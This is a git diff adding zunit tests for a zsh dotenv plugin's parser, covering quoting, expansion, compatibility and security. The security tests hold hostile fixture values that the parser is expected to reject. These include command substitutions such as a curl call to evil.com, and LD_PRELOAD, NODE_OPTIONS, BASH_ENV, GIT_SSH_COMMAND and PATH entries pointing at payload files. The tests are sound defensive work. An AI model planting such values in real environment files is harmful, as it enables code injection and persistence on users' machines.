+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u +LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/ +bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/ +kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V +u4QuUoobAgMBAAE= +-----END PUBLIC KEY-----" +EOF + + expected_vars=( + MULTI_DOUBLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_SINGLE_QUOTED $'THIS\nIS\nA\nMULTILINE\nSTRING' + MULTI_PEM_DOUBLE_QUOTED $'-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u\nLgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/\nbTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/\nkKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V\nu4QuUoobAgMBAAE=\n-----END PUBLIC KEY-----' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse export syntax' { + > "$fixture" <<'EOF' +# Exported variables +export EXPORTED_VAR=exported_value +export EXPORTED_EMPTY= +EOF + + expected_vars=( + EXPORTED_VAR 'exported_value' + EXPORTED_EMPTY '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion' { + > "$fixture" <<'EOF' +# Variable expansion (in-file forward references) +BASE_URL=https://api.example.com +API_ENDPOINT="${BASE_URL}/v1" +FULL_ENDPOINT=$BASE_URL/v2/users +COMBINED="${BASE_URL}_suffix" +EOF + + expected_vars=( + BASE_URL 'https://api.example.com' + API_ENDPOINT 'https://api.example.com/v1' + FULL_ENDPOINT 'https://api.example.com/v2/users' + COMBINED 'https://api.example.com_suffix' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse in-file variable expansion prefers the longest matching variable name' { + > "$fixture" <<'EOF' +A=1 +ABC=2 +X=$ABC +Y=${ABC} +Z=$ABCD +EOF + + expected_vars=( + A '1' + ABC '2' + X '2' + Y '2' + Z '' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'parse preserves escaped dollar signs before variable expansion' { + > "$fixture" <<'EOF' +BAR=expanded +ESCAPED_UNQUOTED=foo\$BAR +ESCAPED_DOUBLE="foo\$BAR" +ESCAPED_BRACED="\${BAR}" +EOF + + expected_vars=( + BAR 'expanded' + ESCAPED_UNQUOTED 'foo$BAR' + ESCAPED_DOUBLE 'foo$BAR' + ESCAPED_BRACED '${BAR}' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} diff --git a/plugins/dotenv/tests/compatibility.zunit b/plugins/dotenv/tests/compatibility.zunit new file mode 100644 index 000000000..61c5dddba --- /dev/null +++ b/plugins/dotenv/tests/compatibility.zunit @@ -0,0 +1,27 @@ +#!/usr/bin/env zunit + +@setup { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@teardown { + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'compatibility: dotenvjs fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/dotenvjs.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} + +@test 'compatibility: features fixture matches native source' { + local fixture="${testdir:A}/_support/fixtures/features.env" + + _parse_dotenv_test "$fixture" + _source_with_allexport "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "DOTENV_SOURCE_VARS" +} diff --git a/plugins/dotenv/tests/security.zunit b/plugins/dotenv/tests/security.zunit new file mode 100644 index 000000000..414f87bb7 --- /dev/null +++ b/plugins/dotenv/tests/security.zunit @@ -0,0 +1,209 @@ +#!/usr/bin/env zunit + +@setup { + typeset -g fixture="$(_create_temp_fixture)" + typeset -gA expected_vars=() +} + +@teardown { + [[ -f "$fixture" ]] && command rm -f "$fixture" + unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null +} + +@test 'skip dangerous backtick command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_BACKTICK=`whoami` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dangerous subshell command substitution' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_SUBSHELL=$(date) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip nested command substitution in double quotes' { + > "$fixture" <<'EOF' +# Should be skipped +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip multiple words (potential command execution)' { + > "$fixture" <<'EOF' +# Should be skipped - multiple words could execute commands +BASE_URL=/ echo command run +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow literal command substitution in single quotes' { + > "$fixture" <<'EOF' +# Single quotes make everything literal - should be parsed +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_BACKTICK='`also literal`' + +# Should also be parsed +SAFE_VAR=safe_value +EOF + + expected_vars=( + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_BACKTICK '`also literal`' + SAFE_VAR 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip backticks in unquoted values' { + > "$fixture" <<'EOF' +# Backticks in unquoted context - should be skipped +DANGEROUS_UNQUOTED=`echo danger` +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip dollar-paren in unquoted values' { + > "$fixture" <<'EOF' +# Command substitution in unquoted context - should be skipped +DANGEROUS_UNQUOTED=$(uname -a) +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'allow safe dollar signs (variable refs without parens in single quotes)' { + > "$fixture" <<'EOF' +# Dollar signs that don't start command substitution +SAFE_DOLLARS='$HOME is literal' +SAFE_PRICE='Cost is $50' +SAFE_VAR='value$123' + +# Should all be parsed +SAFE_VAR2=safe_value +EOF + + expected_vars=( + SAFE_DOLLARS '$HOME is literal' + SAFE_PRICE 'Cost is $50' + SAFE_VAR 'value$123' + SAFE_VAR2 'safe_value' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'skip quoted command substitution' { + > "$fixture" <<'EOF' +HARMLESS_COMMAND="\$(echo)" +ANOTHER_ONE=$'\x24\x28echo\x29' +EOF + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + +@test 'comprehensive security test with mixed safe and dangerous patterns' { + > "$fixture" <<'EOF' +# These should be SKIPPED (dangerous) +DANGEROUS_BACKTICK=`whoami` +DANGEROUS_SUBSHELL=$(date) +DANGEROUS_NESTED="prefix_$(echo malicious)_suffix" +LOOKS_SAFE=$(curl http://evil.com) +BASE_URL=/ echo command run + +# These should WORK (safe) +SAFE_BEFORE=safe_value_1 +SAFE_AFTER=safe_value_2 +SAFE_SINGLE_QUOTED='$(this is literal)' +SAFE_SINGLE_QUOTED2='`also literal`' +SAFE_DOLLARS='$HOME' +SAFE_PRICE="$50" +EOF + + expected_vars=( + SAFE_BEFORE 'safe_value_1' + SAFE_AFTER 'safe_value_2' + SAFE_SINGLE_QUOTED '$(this is literal)' + SAFE_SINGLE_QUOTED2 '`also literal`' + SAFE_DOLLARS '$HOME' + SAFE_PRICE '$50' + ) + + _parse_dotenv_test "$fixture" + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +} + + + +@test 'blocks changes of special environment variables' { + _parse_dotenv_test =(<<'EOF' +# Executes on the next node/npm/npx invocation +NODE_OPTIONS=--require=./payload.js + +# Used for shell initialization +BASH_ENV=./payload.sh +# Used for shell initialization in zsh, but also respected by some tools like git +# - https://man7.org/linux/man-pages/man1/dash.1.html#DESCRIPTION:~:text=by%20the%20shell.-,Invocation,-If%20no%20args +# - https://zsh.sourceforge.io/Doc/Release/Parameters.html#index-ENV +ENV=./payload.sh +# Used for zsh startup +ZDOTDIR=./.malicious_zsh +ZSH=./.malicious_zsh + +# These are used for native code injection +LD_PRELOAD=./payload.so +LD_LIBRARY_PATH=./malicious_libs +DYLD_INSERT_LIBRARIES=./payload.dylib + +# Git environment variables +GIT_CONFIG_GLOBAL=./.gitconfig-malicious +GIT_DIR=./malicious_git_dir +GIT_EDITOR=./malicious_editor +GIT_EXTERNAL_DIFF=./malicious_diff +GIT_EXEC_PATH=./.malicious_git_exec +GIT_PAGER=./malicious_pager +GIT_SSH=./malicious_ssh +GIT_SSH_COMMAND=./malicious_ssh_command +GIT_SSL_NO_VERIFY=true +GIT_TEMPLATE_DIR=./malicious_templates # for persistence + +# Special exported variables +PATH=./malicious_bin:$PATH +EDITOR=./malicious +VISUAL=./malicious +PAGER=./malicious +EOF +) + + assert "DOTENV_TEST_VARS" var_same_as "expected_vars" +}